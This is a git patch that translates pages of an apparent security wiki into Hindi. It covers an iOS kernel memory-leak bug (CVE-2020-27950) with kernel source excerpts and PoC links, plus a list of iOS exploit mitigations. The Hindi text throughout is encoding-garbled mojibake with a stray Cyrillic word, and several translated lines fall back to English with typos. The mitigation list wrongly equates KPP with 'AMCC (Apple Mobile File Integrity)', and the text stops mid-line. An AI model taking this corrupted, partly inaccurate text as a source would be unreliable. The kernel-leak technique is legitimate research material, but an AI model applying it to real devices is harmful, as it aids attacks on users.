From 11e7c59f75dccca2664f5b48fe4bdc3c3b4f95fc Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:26:31 +0000 Subject: [PATCH] Translated ['src/blockchain/blockchain-and-crypto-currencies/README.md', --- src/SUMMARY.md | 5 +- .../CVE-2020-27950-mach_msg_trailer_t.md | 32 +-- .../ios-physical-uaf-iosurface.md | 143 ++++++----- .../README.md | 184 +++++++------- .../defi-amm-hook-precision.md | 160 ++++++++++++ .../blockchain-and-crypto-currencies.md | 182 -------------- .../electron-desktop-apps/README.md | 236 +++++++++--------- 7 files changed, 459 insertions(+), 483 deletions(-) create mode 100644 src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md delete mode 100644 src/crypto-and-stego/blockchain-and-crypto-currencies.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a0c0a0bb7..9200053c6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -81,6 +81,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # ЁЯзЩтАНтЩВя╕П Generic Hacking @@ -769,7 +770,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -846,7 +847,6 @@ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - # ЁЯдЦ AI - [AI Security](AI/README.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) @@ -895,7 +895,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # тЬНя╕П TODO diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md index cbed0076b..9348d5ca8 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -5,11 +5,11 @@ ## рдмрдЧ -You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рд▓реЗрдХрд┐рди рд╕рд╛рд░рд╛рдВрд╢ рдореЗрдВ: +You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рдкрд░ рд╕рд╛рд░: -рд╣рд░ Mach message рдЬреЛ kernel рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рдПрдХ **"trailer"** рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ: рдПрдХ variable-length struct рдЬрд┐рд╕рдореЗрдВ metadata (seqno, sender token, audit token, context, access control data, labels...) рд╣реЛрддрд╛ рд╣реИред kernel message buffer рдореЗрдВ рд╣рдореЗрд╢рд╛ рд╕рдмрд╕реЗ рдмрдбрд╝реЗ рд╕рдВрднрд╡ trailer (MAX_TRAILER_SIZE) рдХреЛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдкрд░ **рдХреЗрд╡рд▓ рдХреБрдЫ fields рдХреЛ рд╣реА initialize** рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдмрд╛рдж рдореЗрдВ **user-controlled receive options** рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдпрд╣ рддрдп рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕ trailer size рдХреЛ return рдХрд░рдирд╛ рд╣реИред +рд╣рд░ Mach message рдЬреЛ kernel рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдЙрд╕рдХреЗ рдЕрдВрдд рдореЗрдВ рдПрдХ **"trailer"** рд╣реЛрддрд╛ рд╣реИ: metadata (seqno, sender token, audit token, context, access control data, labels...) рд╡рд╛рд▓рд╛ рдПрдХ variable-length structред kernel рд╕рдВрджреЗрд╢ buffer рдореЗрдВ рд╣рдореЗрд╢рд╛ рд╕рдмрд╕реЗ рдмрдбрд╝реЗ рд╕рдВрднрд╡ trailer (MAX_TRAILER_SIZE) рдХреЛ **reserve** рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рдХреБрдЫ рдлреАрд▓реНрдбреНрд╕ рдХреЛ рд╣реА **initialize** рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдмрд╛рдж рдореЗрдВ **user-controlled receive options** рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдпрд╣ рддрдп рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ trailer size рд╡рд╛рдкрд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред -These are the trailer relevant structs: +рдпреЗ trailer рд╕рдВрдмрдВрдзрд┐рдд structs рд╣реИрдВ: ```c typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; @@ -31,7 +31,7 @@ msg_labels_t msgh_labels; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` -рдлрд┐рд░, рдЬрдм trailer object рдЬреЗрдирд░реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдХреБрдЫ fields рд╣реА рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ max trailer size рд╣рдореЗрд╢рд╛ рд░рд┐рдЬрд╝рд░реНрд╡ рд░рд╣рддреА рд╣реИ: +рдлрд┐рд░, рдЬрдм trailer object рдЬрдирд░реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдХреБрдЫ fields рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ max trailer size рд╣рдореЗрд╢рд╛ рд░рд┐рдЬрд╝рд░реНрд╡ рд░рд╣рддрд╛ рд╣реИ: ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; @@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` -рдлрд┐рд░, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдм `mach_msg()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА mach message рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рд╕рдВрджреЗрд╢ рдореЗрдВ trailer рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП `ipc_kmsg_add_trailer()` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ tailer size рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдХреБрдЫ рдЕрдиреНрдп trailer рдлрд╝реАрд▓реНрдб рднрд░реЗ рдЬрд╛рддреЗ рд╣реИрдВ: +рдлрд┐рд░, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдм `mach_msg()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ mach message рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рд╕рдВрджреЗрд╢ рдореЗрдВ рдЯреНрд░реЗрд▓рд░ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП `ipc_kmsg_add_trailer()` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рдЯреНрд░реЗрд▓рд░ рдХрд╛ рдЖрдХрд╛рд░ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЯреНрд░реЗрд▓рд░ рдлреАрд▓реНрдб рднрд░реЗ рдЬрд╛рддреЗ рд╣реИрдВ: ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; @@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` -`option` рдкреИрд░рд╛рдореАрдЯрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдРрд╕рд╛ рдорд╛рди рджреЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ `if` рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░реЗред** +`option` рдкреИрд░рд╛рдореАрдЯрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдРрд╕рд╛ рдорд╛рди рдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ `if` рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░реЗред** -рдЗрд╕ рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдПрдХ рд╡реИрдз рд╕рдорд░реНрдерд┐рдд `option` рднреЗрдЬрдирд╛ рд╣реЛрдЧрд╛: +рдЗрд╕ рдЪреЗрдХ рдХреЛ рдкрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдПрдХ рд╡реИрдз рд╕рдорд░реНрдерд┐рдд `option` рднреЗрдЬрдиреА рд╣реЛрдЧреА: ```c #define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 @@ -67,9 +67,9 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread) #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` -рд▓реЗрдХрд┐рди, рдХреНрдпреЛрдВрдХрд┐ `MACH_RCV_TRAILER_MASK` рдХреЗрд╡рд▓ рдмрд┐рдЯреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рд╣рдо `0` рдФрд░ `8` рдХреЗ рдмреАрдЪ рдХреЛрдИ рднреА рдорд╛рди рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ `if` рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рд╡реЗрд╢ рди рд╣реЛред +рд▓реЗрдХрд┐рди, рдХреНрдпреЛрдВрдХрд┐ `MACH_RCV_TRAILER_MASK` рд╕рд┐рд░реНрдл рдмрд┐рдЯреНрд╕ рдХреА рдЬрд╛рдБрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рд╣рдо `0` рдФрд░ `8` рдХреЗ рдмреАрдЪ рдХреЛрдИ рднреА рдорд╛рди рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ `if` statement рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рди рд╣реЛред -рдлрд┐рд░, рдХреЛрдб рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддреЗ рд╣реБрдП рдЖрдк рдкрд╛рдПрдБрдЧреЗ: +рдлрд┐рд░, рдХреЛрдб рдореЗрдВ рдЖрдЧреЗ рджреЗрдЦрддреЗ рд╣реБрдП рдЖрдк рдкрд╛рдПрдБрдЧреЗ: ```c if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { trailer->msgh_ad = 0; @@ -92,21 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); return trailer->msgh_trailer_size; ``` -Where you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. +Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. -рдЕрдЧрд░ рдЖрдк рдзреНрдпрд╛рди рджреЗрдВ, **`msgh_ad`** рдЕрднреА рднреА trailer рдХрд╛ рдПрдХрдорд╛рддреНрд░ рдРрд╕рд╛ рдлреАрд▓реНрдб рдерд╛ рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ initialize рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдЬреЛ рдкрд╣рд▓реЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдореЗрдореЛрд░реА рд╕реЗ рдХреЛрдИ leak рд░рдЦ рд╕рдХрддрд╛ рдерд╛ред +рдпрджрд┐ рдЖрдк рдзреНрдпрд╛рди рджреЗрдВ, **`msgh_ad`** рдЯреНрд░реЗрд▓рд░ рдХрд╛ рд╡рд╣ рдЕрдХреЗрд▓рд╛ рдлрд╝реАрд▓реНрдб рдерд╛ рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдЬреЛ рдкрд╣рд▓реЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдореЗрдореЛрд░реА рд╕реЗ рдХреЛрдИ leak рд░рдЦ рд╕рдХрддрд╛ рдерд╛ред -рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ initialize рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ `option` рдорд╛рди `5` рдпрд╛ `6` рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдП, рддрд╛рдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ `if` рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░ рд▓реЗ рдФрд░ рдЙрд╕ `if` рдореЗрдВ рди рдЬрд╛рдП рдЬреЛ `msgh_ad` рдХреЛ initialize рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдорд╛рди `5` рдФрд░ `6` рдХрд╛ рдХреЛрдИ trailer type рдЬреБрдбрд╝рд╛ рдирд╣реАрдВ рд╣реЛрддрд╛ред +рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛрдиреЗ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ `option` рдХреА рд╡реИрд▓реНрдпреВ `5` рдпрд╛ `6` рдкрд╛рд╕ рдХреА рдЬрд╛рдП, рддрд╛рдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ `if` рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░ рдЬрд╛рдП рдФрд░ рдЙрд╕ `if` рдореЗрдВ рди рдЬрд╛рдП рдЬреЛ `msgh_ad` рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдорд╛рди `5` рдФрд░ `6` рдХреЗ рд╕рд╛рде рдХреЛрдИ trailer type рдЬреБрдбрд╝рд╛ рдирд╣реАрдВ рд╣реИред ### Basic PoC -Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ PoC рд╣реИ рдЬреЛ рдХреБрдЫ random рдбреЗрдЯрд╛ рдХреЗрд╡рд▓ leak рдХрд░рддрд╛ рд╣реИред +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. ### Leak Kernel Address PoC -Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ PoC рд╣реИ рдЬреЛ рдПрдХ kernel address leak рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП, рд╕рдВрджреЗрд╢ рдореЗрдВ `mach_msg_port_descriptor_t` structs рд╕реЗ рднрд░рд╛ рд╣реБрдЖ рдПрдХ message рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕ structure рдХрд╛ `name` field userland рдореЗрдВ рдПрдХ unsigned int рд░рдЦрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди kernel рдореЗрдВ `name` field рдПрдХ struct `ipc_port` pointer рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрди structs рдХреА рдХрдИ рдкреНрд░рддрд┐рдпрд╛рдБ message рдореЗрдВ рднреЗрдЬрдиреЗ рд╕реЗ kernel рдХреЗ рдХрдИ addresses message рдХреЗ рдЕрдВрджрд░ add рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ рддрд╛рдХрд┐ рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ leak рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. -рдмреЗрд╣рддрд░ рд╕рдордЭ рдХреЗ рд▓рд┐рдП рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рдЬреЛрдбрд╝реА рдЧрдИрдВ: +Commetns were added for better understanding: ```c #include #include @@ -326,7 +326,7 @@ return 0; ``` ## рд╕рдВрджрд░реНрдн -- [Synacktiv рдХрд╛ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index d36aef0eb..bfa36b28b 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -5,17 +5,16 @@ ## iOS Exploit Mitigations -- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against AppleтАЩs trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. -- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using AppleтАЩs root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. -- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). -- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. -- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernelтАЩs base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. -- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernelтАЩs code pages to ensure they havenтАЩt been modified. If any tampering is detectedтАФsuch as an exploit trying to patch kernel functions or insert malicious codeтАФthe device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers canтАЩt simply hook or patch kernel instructions without triggering a system crash. -- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPUтАЩs memory controller to mark the kernelтАЩs code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackersтАФand even privileged codeтАФfrom patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. -- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. -- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. -- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. - +- **Code Signing** iOS рдореЗрдВ executable рдХреЛрдб (apps, libraries, extensions, рдЖрджрд┐) рдХреЛ Apple рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдП рдЧрдП certificate рд╕реЗ cryptographically sign рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд░рдЦрддрд╛ рд╣реИред рдЬрдм рдХреЛрдб рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ iOS Apple рдХреЗ trusted root рдХреЗ рдЦрд┐рд▓рд╛рдл рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ signature invalid, missing, рдпрд╛ modified рд╣реИ, рддреЛ OS рдЙрд╕реЗ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдордирд╛ рдХрд░ рджреЗрддрд╛ рд╣реИред рдпрд╣ attackers рдХреЛ legitimate apps рдореЗрдВ malicious code inject рдХрд░рдиреЗ рдпрд╛ unsigned binaries рдЪрд▓рд╛рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред +- **CoreTrust** рд╡рд╣ subsystem рд╣реИ рдЬреЛ runtime рдкрд░ code signing рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред рдпрд╣ cached trust stores рдкрд░ рднрд░реЛрд╕рд╛ рдХрд┐рдП рдмрд┐рдирд╛ рд╕реАрдзреЗ Apple рдХреЗ root certificate рд╕реЗ signatures verify рдХрд░рддрд╛ рд╣реИ, рдпрд╛рдиреА рдХреЗрд╡рд▓ Apple рджреНрд╡рд╛рд░рд╛ sign рдХрд┐рдП рдЧрдП (рдпрд╛ valid entitlements рд╡рд╛рд▓реЗ) binaries рд╣реА execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред CoreTrust рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ attacker рдХрд┐рд╕реА app рдХреЛ installation рдХреЗ рдмрд╛рдж tamper рдХрд░реЗ, system libraries рдмрджрд▓реЗрдВ, рдпрд╛ unsigned code load рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рддреЛ execution block рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рддрдХ рдХреЛрдб рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ signed рди рд╣реЛред +- **Data Execution Prevention (DEP)** рдореЗрдореЛрд░реА regions рдХреЛ non-executable рдХреЗ рд░реВрдк рдореЗрдВ mark рдХрд░рддрд╛ рд╣реИ рдЬрдм рддрдХ рд╡реЗ ╤П╨▓╨╜╨╛ code рди рд░рдЦреЗрдВред рдЗрд╕рд╕реЗ attackers stack рдпрд╛ heap рдЬреИрд╕реЗ рдбреЗрдЯрд╛ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ shellcode inject рдХрд░ рдЙрд╕реЗ execute рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ, рдФрд░ рдЙрдиреНрд╣реЗрдВ ROP рдЬреИрд╕реЗ рдЬрдЯрд┐рд▓ рддрд░реАрдХреЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рд╣реЛрдирд╛ рдкрдбрд╝рддрд╛ рд╣реИред +- **ASLR (Address Space Layout Randomization)** рд╣рд░ рдмрд╛рд░ рд╕рд┐рд╕реНрдЯрдо рдЪрд▓рдиреЗ рдкрд░ code, libraries, stack, рдФрд░ heap рдХреЗ memory addresses рдХреЛ randomize рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд╕реЗ attackers рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА instructions рдпрд╛ gadgets рдХреЗ рд╕реНрдерд╛рди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдХрдИ exploit chain рдЯреВрдЯ рдЬрд╛рддреЗ рд╣реИрдВ рдЬреЛ fixed memory layout рдкрд░ рдирд┐рд░реНрднрд░ рд╣реЛрддреЗ рд╣реИрдВред +- **KASLR (Kernel ASLR)** рд╡рд╣реА randomization kernel рдкрд░ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред kernel рдХреЗ base address рдХреЛ рд╣рд░ boot рдкрд░ shuffle рдХрд░рдХреЗ attackers рдХреЛ kernel functions рдпрд╛ structures рдХрд╛ рднрд░реЛрд╕реЗрдордВрдж рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХрдард┐рди рдХрд░ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ kernel-level exploits рдХрд╛ рдореБрд╢реНрдХрд┐рд▓ рд╕реНрддрд░ рдмрдврд╝рддрд╛ рд╣реИред +- **Kernel Patch Protection (KPP)** рдЬрд┐рд╕реЗ iOS рдореЗрдВ 